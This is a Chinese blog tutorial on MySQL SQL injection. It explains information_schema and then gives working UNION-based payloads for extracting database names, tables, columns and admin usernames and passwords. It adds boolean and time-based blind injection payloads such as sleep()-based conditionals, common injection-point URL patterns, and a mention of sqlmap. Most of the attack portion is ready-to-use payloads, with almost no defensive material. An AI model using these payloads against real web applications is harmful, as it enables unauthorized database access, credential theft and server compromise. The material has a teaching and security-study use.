SQL(mysql与sql注入)详解

数据库结构

#### 库:一堆表组成的数据集合

#### 表:类似Excal,有行和列组成的二维表

#### 字段:表中的列称为字段

#### 记录:表中的行称为记录

#### 单元格:行和列相交的地方成为单元格
在数据库里有一个系统库:information_schema

在它里面有一个存着所有库名的表:schemata

schemata_name 库名

在他里面有个存着所有表名的表:tables

表名

table_schema 表属于库

table_name 表名

在他里面还有一个存着所有字段名的表:columns

table_schema表属于库

table_name表名

column_name字段名

数据库简介-简单的查询语句

select * from表:从表中查询所有内容

where :有条件的从表中选取数据

and或or :条件有点多时候从表中选取数据

order by :根据指定的结果集/指定的列进行排序

limit 0,1 :从第一行起显示一条记录

union select :联合查询 将多个表拼在一起

手工注入-联合查询

查询相关内容

select 字段 from 表

字段 username,password

表 admin

猜询数据库版本

and 1=2 union select 1,version()

猜询数据库

and 1=2 union select 1,schema_name from information_schema.schemata limit 0,1

猜询表名

and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit 1,1

and 1=2 union select 1,table_name from information_schema.tables where table_schema=‘库名’ limit 1,1

查询字段名

and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name=“admin” limit 0,1

查询字段内容

and 1=2 union select 1,username from admin

原理-什么是盲注

有时目标存在注入,但在页面上没有任何回显,此时,我们需要用一些方法进行判断或者尝试得到数据,这个过程称之为盲注。

盲注的种类

1.布尔盲注:布尔很明显Ture跟Fales,也就是说它只会根据你的注入信息返回Ture跟Fales,也就没有了之前的报错信息

2.时间盲注:界面返回值只有一种,True无论输入任何值,返回情况都会按照正常的来处理。加入特定的时间函数,通过查看web页面返回的时间差来判断注入的语句是否正确。

盲注函数解析

length()函数 返回字符串的长度

?id=1 and length(database())>1

substr()截取字符串,从第一位截取一个

?id=1 and substr(database(),1,1)='k'

limit 0,1 显示第一条    substr(内容,1,1)显示第一个字符

ord()/ascli()返回字符的ascli码

?id=1 and ord(substr(database(),1,1))=107

时间型

sleep()将程序挂起一段时间n为n秒

if(expr1,expr2,expr3)判断语句 如果第一个语句正确就执行,第二个语句如果错误执行第三个语句

?id=1' and if(length(database())=8,0,sleep(5)) --+


盲注演示

猜解当前数据库名称长度

and (length(database()))>9#

猜解当前数据库名称:

and (ascli(substr(database(),1,1)))=107返回正常,说明数据库名称第一位是k

and substr(database(),1,1)='k'返回正常,说明数据库名称第二位是k

​	猜表名:

and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6 返回正常,说明当前数据库第一个表长度是6

and substr((select table_name from information_schema.tables where table_schema='xxx' limit 0,1),1,1)='I' 返回正常,说明数据库表名的第一个的第一位是I

猜字段名

and substr((select column_name from information_schema.columns where table_name='xxx'limit 0,1),1,1)='I'返回正常,说明xxx表中的列名称第一位是I

猜内容

and (ascli(substr((select YYY from xxx limit 0,1),1,1)))=122返回正常,说明zkaq列第一位是z

什么是sql注入?

·通过把sql命令插入到web表单提交或者输入域名或者页面请求的查询字符串,最终达到欺骗服务器执行恶意的sql命令

·利用应用程序漏洞

·恶意sql命令注入到后台数据库引擎,并执行。

注入流程:
在这里插入图片描述

sql注入的原理

·程序命令和用户数据(即用户输入)之间没有做到泾渭分明。

·这使得攻击者有机会将程序命令当作用户输入的数据提交给web程序,以发号施令,为所欲为

·接受相关参数未经处理直接带入数据库查询操作

·以获得数据库的管理权限,然后提权至操作系统管理用户权限

·最终控制服务器操作系统

sql注入的方法–要确定的三件事

1.确定web应用程序所使用的技术

·注入攻击对程序设计语言或者硬件关系密切

2.查找注入点–web应用的用户输入方式比较多。

·明显的输入:HTML表单;

·隐藏的输入:HTTP头部、cookies、甚至对用户不可见的后端AJax请求来跟web应用进行交互。一般来说,所有HTTP的GET和POST都应当作为用户输入,为了找出一个web应用所有可能的用户输入,我们可以求助于web代理如Bp等。

3.查找可以用于注入的用户输入

·输入方式进行筛选,找出其中可以注入命令的那些输入方式。

sql注入方法

1.手工注入

·找到注入点,手工构造输入

2.利用工具注入

·流行注入工具sqlmap

显而易见的注入点

·http://www.*.com/.asp?id=x(ASP注入)

或者下面的链接

·http://www.*.com/.php?id=x(PHP注入)

·http://www.*.com/.jsp?id=x(JSP注入)

·http://www.*.com/.aspx?id=x(ASPX注入)

·http://www.****.com/index.asp?id=8&page=99(注:注入的时候确认是id参数还是page参数,工具默认只对后面page参数注入,所以要对工具进行配置或者手工调换)

·http://www.****.com/index/new/id/8伪静态

·http://www.****.com/index/new/php-8.html伪静态

sql注入分类

1.登陆注入

2.cms注入:依据框架来展示内容具有文章列表

3.按照注入点值的属性分类

·数值型sql=‘select * from admin where id = 1’

·字符串型sql=‘select * from 表 where id = “xxx”’

4.基于从服务器返回的内容

·有回显(基于错误的)

·无回显(盲注)

5.按照注入的程度和顺序

·一阶注入

·二阶注入

  • 3
    点赞
  • 2
    收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
©️2022 CSDN 皮肤主题:黑客帝国 设计师:我叫白小胖 返回首页
评论

打赏作者

李昕泽不是程序员

你的鼓励将是我创作的最大动力

¥2 ¥4 ¥6 ¥10 ¥20
输入1-500的整数
余额支付 (余额:-- )
扫码支付
扫码支付:¥2
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、C币套餐、付费专栏及课程。

余额充值